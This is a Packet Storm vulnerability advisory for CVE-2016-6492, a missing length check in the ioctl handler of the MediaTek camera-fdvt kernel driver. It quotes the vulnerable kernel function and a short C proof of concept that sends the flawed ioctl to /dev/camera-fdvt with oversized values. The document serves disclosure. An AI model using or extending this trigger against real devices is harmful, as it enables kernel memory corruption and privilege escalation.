MediaTek Driver Privilege Escalation

2016-07-31T00:00:00
ID PACKETSTORM:138113
Type packetstorm
Reporter unLimit Security Group
Modified 2016-07-31T00:00:00

Description

                                        
                                            `Details  
=======  
  
Product: MTK  
platform:MT6595 -- MT6797  
Security Risk: High  
CVE ID: CVE-2016-6492  
Credit: unLimit Security Group  
  
Introduction  
============  
1.  
https://github.com/jawad6233/MT6795.kernel/blob/1251b008a51be5cd97ce6da916f34fc6afa2b1d7/alps/kernel-3.10/drivers/misc/mediatek/mach/mt6795/camera_fdvt.c#L415  
ioctl cmd MT6573FDVTIOC_T_SET_FDCONF_CMD  
functon: MT6573 FDVT set reg to HW buffer (MT6573FDVT_SetRegHW)  
  
2.  
Vulnerability Detail:  
  
static int MT6573FDVT_SetRegHW(MT6573FDVTRegIO * a_pstCfg)  
{  
MT6573FDVTRegIO *pREGIO = NULL;  
u32 i=0;  
static UINT8 illegalWRLogTimes = 0;  
  
if (NULL == a_pstCfg) {  
LOG_DBG("Null input argrment \n");   
return -EINVAL;   
}  
  
pREGIO = (MT6573FDVTRegIO*)a_pstCfg;  
  
if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Addr, (void *) pREGIO->pAddr, pREGIO->u4Count * sizeof(u32))) { // pREGIO->u4Count Length not check,cause any address writeable. if pREGIO-> u4Count control within the effective range, pREGIO-> pAddr can be written to the specified location  
LOG_DBG("ioctl copy from user failed\n");  
return -EFAULT;  
}  
  
if(copy_from_user((void*)pMT6573FDVTWRBuff.u4Data, (void *) pREGIO->pData, pREGIO->u4Count * sizeof(u32))) {  
LOG_DBG("ioctl copy from user failed\n");  
return -EFAULT;  
}  
  
//pMT6573FDVTWRBuff.u4Counter=pREGIO->u4Count;  
//LOG_DBG("Count = %d\n", pREGIO->u4Count);   
  
for( i = 0; i < pREGIO->u4Count; i++ ) {  
if ((FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) >= FDVT_ADDR && (FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]) <= (FDVT_ADDR + FDVT_MAX_OFFSET))  
{  
//LOG_DBG("write addr = 0x%08x, data = 0x%08x\n", FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i], pMT6573FDVTWRBuff.u4Data[i]);   
FDVT_WR32(pMT6573FDVTWRBuff.u4Data[i], FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i] );  
}  
else  
{  
if(illegalWRLogTimes < 10)  
{  
LOG_DBG("Error: Writing Memory(0x%8x) Excess FDVT Range!\n", (unsigned int)(FDVT_ADDR + pMT6573FDVTWRBuff.u4Addr[i]));  
illegalWRLogTimes ++;  
}  
else if(illegalWRLogTimes == 10)  
{  
LOG_DBG("Error: Writing Memory Excess FDVT Range - Log Too Much, Stop Same Logs");  
illegalWRLogTimes ++;  
}  
else{}  
}  
}  
  
return 0;  
}  
  
  
3.POC:  
/*  
* Abuse it for root shell  
*/  
#include <stdio.h>  
#include <sys/mman.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
#include <sys/ioctl.h>  
#include <stdbool.h>  
#include <sys/mount.h>  
#include <dirent.h>  
  
#ifndef MAX_BUFFER_SIZE  
#define MAX_BUFFER_SIZE 512  
#endif  
  
typedef struct   
{  
unsigned int *pAddr;  
unsigned int *pData;  
unsigned int u4Count;  
} MT6573FDVTRegIO;  
  
#define FDVT_IOC_MAGIC 'N'  
#define MT6573FDVTIOC_T_SET_FDCONF_CMD _IOW(FDVT_IOC_MAGIC, 0x03, MT6573FDVTRegIO)  
  
const static char *driver = "/dev/camera-fdvt";  
  
void set_fdconf_cmd()  
{  
int fd = 0;  
MT6573FDVTRegIO argc;  
  
  
fd = open(driver, O_RDWR);  
  
if (fd < 0)   
{  
printf("Failed to open %s, with errno %s\n", driver, strerror(errno));  
system("echo 1 > /data/local/tmp/log");  
exit(EXIT_FAILURE);  
}  
  
argc.pAddr = 0x1024;  
argc.pData = 0x1024;  
argc.u4Count = 0x1024;  
  
if(ioctl(fd, MT6573FDVTIOC_T_SET_FDCONF_CMD, &argc) < 0)  
{  
printf("Allocation of structs failed, %s\n", strerror(errno));  
system("echo 2 > /data/local/tmp/log");  
exit(EXIT_FAILURE);  
}  
  
close(fd);  
}  
  
  
int main(int argc, char **argv, char **env) {  
set_fdconf_cmd();  
return 0;  
}  
`